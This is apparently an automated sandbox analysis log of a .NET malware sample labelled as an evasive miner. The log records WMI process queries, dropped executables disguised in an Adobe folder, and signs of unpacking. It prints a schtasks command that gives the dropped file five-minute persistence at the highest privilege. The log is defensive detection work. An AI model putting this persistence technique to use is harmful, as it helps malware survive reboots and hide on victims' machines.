    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2476
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5016
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1272
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1640
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7176
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4436
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4808
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6764
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1412
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5592
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1452
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3256
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2632
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5388
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4796
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3416
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7552
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6960
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2428
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3016
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5608
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1832
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5276
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1436
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6360
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1236
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3008
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1824
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2216
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4972
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1228
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1424
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 832
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1028
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3588
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4964
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4004
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 824
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1808
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1216
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ghoul.exe.logJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeFile created: C:\Users\user\AppData\Local\Temp\ghoul.exeJump to behavior
    Source: classification engineClassification label: mal100.evad.mine.winEXE@31/20@2/4
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
    Source: PFCIA.exe.3.dr, C3554254475/C3554254475.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
    Source: PFCIA.exe.3.dr, C3554254475/C3554254475.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
    Source: ghoul.exe.1.dr, C3554254475/C3554254475.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
    Source: ghoul.exe.1.dr, C3554254475/C3554254475.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
    Source: gOKMPhOLiN.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dllJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dll
    Source: C:\Windows\System32\WerFault.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dll
    Source: C:\Windows\System32\WerFault.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dll
    Source: C:\ProgramData\Adobe\PFCIA.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dll
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8012:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7332:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2848:304:WilStaging_02
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2848:120:WilError_03
    Source: C:\ProgramData\Adobe\PFCIA.exeMutant created: \Sessions\1\BaseNamedObjects\PFCIA
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8012:304:WilStaging_02
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5620:304:WilStaging_02
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5620:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7332:304:WilStaging_02
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7352:304:WilStaging_02
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7352:120:WilError_03
    Source: C:\Windows\System32\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4436
    Source: gOKMPhOLiN.exe, C3554254475/C3554254475.csCryptographic APIs: 'CreateDecryptor'
    Source: gOKMPhOLiN.exe, C3554254475/C3904355907.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
    Source: ghoul.exe.1.dr, C3554254475/C3554254475.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
    Source: ghoul.exe.1.dr, C3554254475/C3554254475.csCryptographic APIs: 'CreateDecryptor'
    Source: 1.0.gOKMPhOLiN.exe.740000.0.unpack, C3554254475/C3554254475.csCryptographic APIs: 'CreateDecryptor'
    Source: 1.0.gOKMPhOLiN.exe.740000.0.unpack, C3554254475/C3904355907.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
    Source: PFCIA.exe.3.dr, C3554254475/C3554254475.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
    Source: PFCIA.exe.3.dr, C3554254475/C3554254475.csCryptographic APIs: 'CreateDecryptor'
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
    Source: gOKMPhOLiN.exeStatic PE information: Virtual size of .text is bigger than: 0x100000
    Source: gOKMPhOLiN.exeStatic file information: File size 1599488 > 1048576
    Source: gOKMPhOLiN.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
    Source: gOKMPhOLiN.exeStatic PE information: Raw size of .text is bigger than: 0x100000 < 0x185e00
    Source: gOKMPhOLiN.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
    Source: Binary string: System.Xml.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.ni.pdbRSDS source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Windows.Forms.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Drawing.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Configuration.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Xml.pdbPW source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Configuration.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Drawing.ni.pdbRSDS source: WER780E.tmp.dmp.26.dr
    Source: Binary string: mscorlib.ni.pdbRSDSz source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Xml.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Xml.ni.pdbRSDS# source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Core.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Core.pdbPW source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Windows.Forms.ni.pdbRSDSX source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Windows.Forms.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: mscorlib.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Drawing.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Management.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: mscorlib.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Management.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Core.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Configuration.ni.pdbRSDScUN source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Management.ni.pdbRSDS6 source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Core.ni.pdbRSDS source: WER780E.tmp.dmp.26.dr

    Data Obfuscation

    barindex
    Detected unpacking (overwrites its own PE header)
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeUnpacked PE file: 1.2.gOKMPhOLiN.exe.740000.0.unpack
    Detected unpacking (changes PE section rights)
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeUnpacked PE file: 1.2.gOKMPhOLiN.exe.740000.0.unpack .text:ER;.rsrc:R;.reloc:R; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:R;
    Source: C:\ProgramData\Adobe\PFCIA.exeUnpacked PE file: 29.2.PFCIA.exe.c60000.0.unpack .text:ER;.rsrc:R; vs Unknown_Section0:ER;Unknown_Section1:R;
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 1_2_07E50B28 push eax; mov dword ptr [esp], edx1_2_07E50B3C
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFBCE9ED2A5 pushad ; iretd 6_2_00007FFBCE9ED2A6
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFBCEB0269B pushad ; iretd 6_2_00007FFBCEB026C9
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFBCEB0246B push E95AD193h; ret 6_2_00007FFBCEB02539
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFBCEB028D9 push edx; iretd 6_2_00007FFBCEB028DA
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFBCEB034A3 pushfd ; iretd 6_2_00007FFBCEB034B2
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFBCEB028FF push ebp; iretd 6_2_00007FFBCEB02902
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFBCEB02683 push eax; iretd 6_2_00007FFBCEB02699
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFBCEB025D3 push cs; iretd 6_2_00007FFBCEB02622
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFBCEB0759B push ebx; iretd 6_2_00007FFBCEB075DA
    Source: C:\ProgramData\Adobe\PFCIA.exeCode function: 29_2_00C677A6 push rcx; retf 29_2_00C677A8
    Source: C:\ProgramData\Adobe\PFCIA.exeCode function: 29_2_00C6701A push rbp; retf 29_2_00C67066
    Source: gOKMPhOLiN.exeStatic PE information: 0xFE28C330 [Sat Feb 14 19:51:12 2105 UTC]
    Source: initial sampleStatic PE information: section name: .text entropy: 7.892076892468923

    Persistence and Installation Behavior

    barindex
    Drops executable to a common third party application directory
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeFile written: C:\ProgramData\Adobe\PFCIA.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeFile written: C:\ProgramData\Adobe\PFCIA.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeFile written: C:\ProgramData\Adobe\PFCIA.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeFile created: C:\ProgramData\Adobe\PFCIA.exeJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeFile created: C:\ProgramData\Adobe\PFCIA.exeJump to dropped file
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeFile created: C:\Users\user\AppData\Local\Temp\ghoul.exeJump to dropped file

    Boot Survival

    barindex
    Uses schtasks.exe or at.exe to add and modify task schedules
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe"
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
